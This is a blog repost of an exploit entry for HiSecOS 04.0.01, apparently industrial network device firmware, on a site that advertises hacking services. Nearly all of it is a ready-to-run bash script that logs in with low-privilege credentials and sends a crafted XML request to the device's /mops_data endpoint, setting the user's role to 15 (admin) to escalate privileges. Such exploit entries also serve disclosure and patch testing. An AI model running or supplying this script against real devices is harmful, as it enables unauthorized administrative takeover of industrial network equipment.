Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375892

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: HiSecOS 04.0.01 - Privilege Escalation
# Google Dork: HiSecOS Web Server Vulnerability Allows User Role Privilege Escalation
# Date: 21.06.2023
# Exploit Author: dreizehnutters
# Vendor Homepage: https://dam.belden.com/dmm3bwsv3/assetstream.aspx?assetid=15437&mediaformatid=50063&destinationid=10016
# Version: HiSecOS-04.0.01 or lower
# Tested on: HiSecOS-04.0.01
# CVE: BSECV-2021-07

#!/bin/bash

if [[ $# -lt 3 ]]; then
  echo "Usage: $0 <IP> <USERNAME> <PASSWORD>"
  exit 1
fi

target="$1"
user="$2"
pass="$3"

# Craft basic header
auth=$(echo -ne "$user:$pass" | base64)

# Convert to ASCII hex
blob=$(printf "$user" | xxd -ps -c 1)

# Generate XML payload ('15' -> admin role)
gen_payload() {
  cat <<EOF
<rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:x-mops:1.0 ../mops.xsd" message-id="20">
  <mibOperation xmlns="urn:x-mops:1.0">
    <edit-config>
      <MIBData>
        <MIB name="HM2-USERMGMT-MIB">
          <Node name="hm2UserConfigEntry">
            <Index>
              <Attribute name="hm2UserName">$blob</Attribute>
            </Index>
            <Set name="hm2UserAccessRole">15</Set>
          </Node>
        </MIB>
      </MIBData>
    </edit-config>
  </mibOperation>
</rpc>
EOF
}

curl -i -s -k -X POST \
  -H "content-type: application/xml" \
  -H "authorization: Basic ${auth}" \
  --data-binary "$(gen_payload)" \
  "https://${target}/mops_data"

echo "[*] $user is now an admin"